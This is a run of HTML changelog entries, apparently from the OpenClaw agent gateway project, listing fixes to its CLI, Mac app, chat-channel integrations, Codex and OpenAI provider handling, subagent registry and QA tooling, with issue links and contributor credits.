<li>CLI/TUI: force standalone <code>/exit</code> runs to terminate after <code>runTui</code> returns so onboarding-launched TUI children do not stay alive invisibly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467214589" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83501/hovercard" href="https://github.com/openclaw/openclaw/pull/83501">#83501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Agents/code mode: honor per-agent code-mode config in schema, runtime catalog activation, and model payload filtering. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465758765" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83388" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83388/hovercard" href="https://github.com/openclaw/openclaw/issues/83388">#83388</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code mode: preserve agent, session, run, and channel context in <code>before_tool_call</code> hooks for top-level <code>exec</code>/<code>wait</code> dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465758470" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83387" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83387/hovercard" href="https://github.com/openclaw/openclaw/issues/83387">#83387</a>.</li>
<li>QQBot: shorten C2C typing indicators to a 10-second window renewed every 5 seconds, capped to keep a final passive-reply slot available. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466707249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83469/hovercard" href="https://github.com/openclaw/openclaw/pull/83469">#83469</a>)</li>
<li>Replies: keep final payload delivery after live preview updates so channels can finalize or send the completed answer instead of losing preview-only drafts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466706226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83468" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83468/hovercard" href="https://github.com/openclaw/openclaw/pull/83468">#83468</a>)</li>
<li>Discord: deliver final replies in progress-mode preview streams instead of deduplicating the final visible message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466374427" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83443" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83443/hovercard" href="https://github.com/openclaw/openclaw/pull/83443">#83443</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/compoodment/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/compoodment">@compoodment</a>.</li>
<li>Providers/Xiaomi: replay MiMo Anthropic-compatible <code>reasoning_content</code> as provider-required thinking blocks even when OpenClaw thinking is disabled, fixing follow-up tool turns for <code>mimo-v2-flash</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465996157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83407" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83407/hovercard" href="https://github.com/openclaw/openclaw/issues/83407">#83407</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Xgenious7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Xgenious7">@Xgenious7</a>.</li>
<li>Agents/exec approvals: forward approval-runtime credentials on agent-owned Gateway approval calls so approved async commands complete through the existing runtime path instead of stalling on unauthenticated follow-up calls. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Gateway/skills: preflight remote macOS skill-bin refreshes with a WebSocket connectivity check so stale node sessions skip quickly instead of logging slow <code>system.which</code> timeout warnings.</li>
<li>CLI/config: keep broken discovered plugins that are not referenced by active config from failing <code>openclaw config validate</code>, while preserving fatal errors for explicitly configured plugin entries.</li>
<li>GitHub Copilot: drop unsafe native Responses reasoning replay items with non-replayable IDs before dispatch, preventing affected Copilot sessions from failing with <code>invalid_request_body</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464490598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83220" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83220/hovercard" href="https://github.com/openclaw/openclaw/issues/83220">#83220</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Agents/Codex: fail closed when an explicitly requested Codex harness is not registered instead of silently trying configured model fallbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465485972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83349" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83349/hovercard" href="https://github.com/openclaw/openclaw/issues/83349">#83349</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r2-vibes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r2-vibes">@r2-vibes</a>.</li>
<li>QA-Lab: make runtime tool coverage fail on missing required tool exercise instead of treating pass/pass parity envelope drift as missing coverage.</li>
<li>Core/plugins: harden clawpatch-reported edge cases across gateway auth cleanup, Claude session id paths, plugin activation policy, apply-patch hunk handling, diagnostic redaction, and plugin metadata validation.</li>
<li>UI: show reasoning choices as plain labels instead of leaking internal override wording in session and chat pickers.</li>
<li>Mac app: avoid repeating the Configuration heading inside channel quick settings.</li>
<li>Mac app: keep the Settings sidebar always visible and remove the redundant titlebar hide/show control.</li>
<li>Mac app: normalize Settings pane content margins so pages share the same left and right rail.</li>
<li>Mac app: prefer explicit private/Tailscale/LAN Gateway endpoints over SSH tunnels, preserve legacy loopback tunnel configs, persist transport choices, and show captured SSH stderr when tunneling really fails.</li>
<li>Gateway/sessions: keep ACP/acpx and runtime child sessions visible in configured-only session lists when their owner or parent session belongs to a configured agent.</li>
<li>Mac app: keep app-level menu commands and Dashboard failure states reachable when the remote Gateway is disconnected.</li>
<li>Mac app: allow longer Gateway and Context errors to wrap in the menu instead of truncating the useful failure detail.</li>
<li>Mac app: tighten remote Gateway fields in Settings so the Connection pane keeps readable labels and full action button text.</li>
<li>Mac app: keep custom Settings card rows left-aligned and full-width so Discovery and status sections no longer appear centered or detached.</li>
<li>Mac app: align Location permission controls to the same trailing column as the rest of Settings.</li>
<li>Mac app: add Dashboard, Chat, Canvas, and Settings shortcuts to the Dock icon menu.</li>
<li>Mac app: replace the Settings window's native split-view sidebar with an explicit layout so page content keeps its leading gutter when the sidebar is shown or hidden.</li>
<li>Mac app: render channel quick config as aligned Settings rows and hide schema-only variants that cannot be edited safely from the quick pane.</li>
<li>Gateway/webchat: hide internal runtime-context and other <code>display: false</code> transcript messages from Chat history and live message events. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464459552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83216" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83216/hovercard" href="https://github.com/openclaw/openclaw/issues/83216">#83216</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EmpireCreator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EmpireCreator">@EmpireCreator</a>.</li>
<li>CLI/help: keep <code>gateway</code>, <code>doctor</code>, <code>status</code>, and <code>health</code> help registration out of action/runtime imports so subcommand <code>--help</code> stays lightweight in constrained terminals. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464522965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83228" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83228/hovercard" href="https://github.com/openclaw/openclaw/issues/83228">#83228</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfguerrerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfguerrerom">@dfguerrerom</a>.</li>
<li>Cron/Discord: keep explicit announce runs in message-tool-only source-reply mode so scheduled agent turns post once instead of also echoing through automatic visible replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464900333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83261" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83261/hovercard" href="https://github.com/openclaw/openclaw/issues/83261">#83261</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Theralley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Theralley">@Theralley</a>.</li>
<li>Telegram: preserve forum-topic origin targets in inbound, audio-preflight, and skipped-message hook contexts so follow-up delivery stays bound to the originating topic. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465183426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83302" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83302/hovercard" href="https://github.com/openclaw/openclaw/issues/83302">#83302</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/M00zyx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/M00zyx">@M00zyx</a>.</li>
<li>Telegram: retry HTTP 421 Misdirected Request send failures on a fresh fallback transport so transient edge-node routing errors no longer drop outbound replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087256219" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48892" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48892/hovercard" href="https://github.com/openclaw/openclaw/issues/48892">#48892</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087442780" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48908" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48908/hovercard" href="https://github.com/openclaw/openclaw/pull/48908">#48908</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarsDoge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarsDoge">@MarsDoge</a>.</li>
<li>Telegram: fail topic sends closed when Telegram reports <code>message thread not found</code> instead of retrying without <code>message_thread_id</code> into the base chat. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465183426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83302" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83302/hovercard" href="https://github.com/openclaw/openclaw/issues/83302">#83302</a>.</li>
<li>Config/subagents: remove ignored agent-model <code>timeoutMs</code> keys, keep subagent model config to primary/fallback selection, and clean shipped stale config through doctor. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465090121" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83291" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83291/hovercard" href="https://github.com/openclaw/openclaw/issues/83291">#83291</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Mac app: align the Sessions settings pane with the standard Settings page gutter and row spacing.</li>
<li>OpenAI/Codex: stop rejecting available <code>openai-codex</code> GPT-5.1, GPT-5.2, and GPT-5.3 model refs during config validation, while keeping removed Spark aliases suppressed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465210488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83303" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83303/hovercard" href="https://github.com/openclaw/openclaw/issues/83303">#83303</a>.</li>
<li>Plugins/xAI: complete OAuth-backed xAI login and sidecar auth fixes, including guarded loopback callback CORS handling, video generation polling/defaults, and native-host User-Agent attribution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465339811" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83322/hovercard" href="https://github.com/openclaw/openclaw/pull/83322">#83322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>.</li>
<li>Codex app-server: preserve streamed native command output in mirrored transcripts and trajectory exports when final snapshots omit aggregated output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464273690" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83200" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83200/hovercard" href="https://github.com/openclaw/openclaw/pull/83200">#83200</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rozmiarD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rozmiarD">@rozmiarD</a>.</li>
<li>Codex app-server: fail closed when chat or sender policy denies tools, disabling native code, app, environment, and user MCP surfaces for restricted turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457945251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82374" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82374/hovercard" href="https://github.com/openclaw/openclaw/pull/82374">#82374</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: keep recent context-engine messages when oversized projected history is truncated, so short follow-ups in long channel sessions do not fall back to stale earlier turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463799694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83127/hovercard" href="https://github.com/openclaw/openclaw/pull/83127">#83127</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: keep OpenClaw session spawning searchable while steering Codex-native delegation through native subagents, avoiding duplicate direct subagent surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465370887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83329" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83329/hovercard" href="https://github.com/openclaw/openclaw/pull/83329">#83329</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Codex app-server: recover stale childless Codex-native subagent task mirrors during maintenance and allow their registry rows to be cancelled without an OpenClaw child session. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461986275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82836" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82836/hovercard" href="https://github.com/openclaw/openclaw/pull/82836">#82836</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yshimadahrs-ship-it/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yshimadahrs-ship-it">@yshimadahrs-ship-it</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Feishu: return bound subagent delivery origins from session thread setup so Feishu subagent completions route back to the same DM or topic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464179397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83190/hovercard" href="https://github.com/openclaw/openclaw/pull/83190">#83190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>CLI/update: tailor post-update Gateway recovery hints by platform, showing systemd, LaunchAgent, Scheduled Task, or generic service-manager guidance instead of macOS-only recovery text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463495630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83096/hovercard" href="https://github.com/openclaw/openclaw/pull/83096">#83096</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>.</li>
<li>Plugins: apply a default 15-second timeout to legacy <code>before_agent_start</code> hooks so hung plugin handlers no longer block agent startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085154694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48534" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48534/hovercard" href="https://github.com/openclaw/openclaw/issues/48534">#48534</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463837368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83136/hovercard" href="https://github.com/openclaw/openclaw/pull/83136">#83136</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/therahul-yo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/therahul-yo">@therahul-yo</a>.</li>
<li>Feishu: refresh inbound session delivery context for DM, group, and broadcast turns so later replies do not inherit stale WebChat routing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4388788955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78274" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78274/hovercard" href="https://github.com/openclaw/openclaw/issues/78274">#78274</a>.</li>
<li>Agents/subagents: require the initial subagent registry save before reporting spawn accepted, returning a spawn error instead of losing an untracked run when the registry write fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463909257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83146" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83146/hovercard" href="https://github.com/openclaw/openclaw/pull/83146">#83146</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>QA-Lab/qa-channel: attach redacted agent tool-start traces to outbound <code>QaBusMessage</code> records so scenarios can assert actual tool use instead of relying only on reply text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4275248060" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67637" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67637/hovercard" href="https://github.com/openclaw/openclaw/issues/67637">#67637</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: fail live runtime parity reports when assistant-message usage is missing, preventing <code>0 vs 0</code> live token rows from being reported as passing proof. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416721771" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80411" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80411/hovercard" href="https://github.com/openclaw/openclaw/issues/80411">#80411</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a runtime token-efficiency sidecar report that classifies Codex savings separately from regressions and fails only positive Codex-over-Pi live token deltas above threshold. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430998561" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81093" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81093/hovercard" href="https://github.com/openclaw/openclaw/issues/81093">#81093</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: fail Codex-backed OpenAI live runtime-pair runs before launching isolated workers when no portable Codex auth is available, while staging API-key fallbacks and configured Codex keys for isolated QA agents. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416721774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80412" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80412/hovercard" href="https://github.com/openclaw/openclaw/issues/80412">#80412</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: refresh parity gates, mock frontier fixtures, model scenarios, and workflow artifact lanes to compare GPT-5.5 against Claude Opus 4.7. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349437446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74262" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74262/hovercard" href="https://github.com/openclaw/openclaw/issues/74262">#74262</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: make mock parity dispatch provider-aware for source discovery and subagent scenarios so OpenAI and Anthropic lanes no longer share identical canned plans. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245036106" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64879/hovercard" href="https://github.com/openclaw/openclaw/issues/64879">#64879</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: stop returning Control UI bearer tokens from unauthenticated bootstrap payloads and bind Docker harness ports to loopback-only host addresses. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259596226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66355/hovercard" href="https://github.com/openclaw/openclaw/pull/66355">#66355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Mac app: avoid a SwiftUI metadata crash when rendering the Cron Jobs settings pane.</li>
<li>Agents/subagents: preserve run-mode keep subagent registry entries past the session sweep TTL, so kept subagent runs remain visible after cleanup completes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463823834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83132" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83132/hovercard" href="https://github.com/openclaw/openclaw/issues/83132">#83132</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464018781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83168" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83168/hovercard" href="https://github.com/openclaw/openclaw/pull/83168">#83168</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>Agents/OpenAI streams: yield via <code>setTimeout(0)</code> instead of <code>setImmediate</code> between bursty Responses chunks so abort timers can fire during the yield, keeping cancel-on-timeout responsive on hot streams. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458742937" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82462/hovercard" href="https://github.com/openclaw/openclaw/issues/82462">#82462</a>.</li>
<li>Agents/Codex: keep legacy <code>oauthRef</code>-backed OAuth profiles usable while <code>openclaw doctor --fix</code> migrates them back to inline credentials, without creating new sidecar credentials. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465275872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83312/hovercard" href="https://github.com/openclaw/openclaw/pull/83312">#83312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/Codex: load the selected provider owner alongside the Codex harness runtime so <code>openai-codex</code> models resolve when plugin allowlists scope runtime loading. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465725039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83380" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83380/hovercard" href="https://github.com/openclaw/openclaw/issues/83380">#83380</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467452244" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83519" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83519/hovercard" href="https://github.com/openclaw/openclaw/pull/83519">#83519</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: fail stalled isolated-ingress handlers into tombstones and abort same-lane reply work before restarting, so later same-chat updates drain after a hung turn. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464995305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83272" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83272/hovercard" href="https://github.com/openclaw/openclaw/issues/83272">#83272</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467244502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83505/hovercard" href="https://github.com/openclaw/openclaw/pull/83505">#83505</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>CLI/config: send SecretRef diagnostics to stderr so JSON command stdout remains parseable.</li>
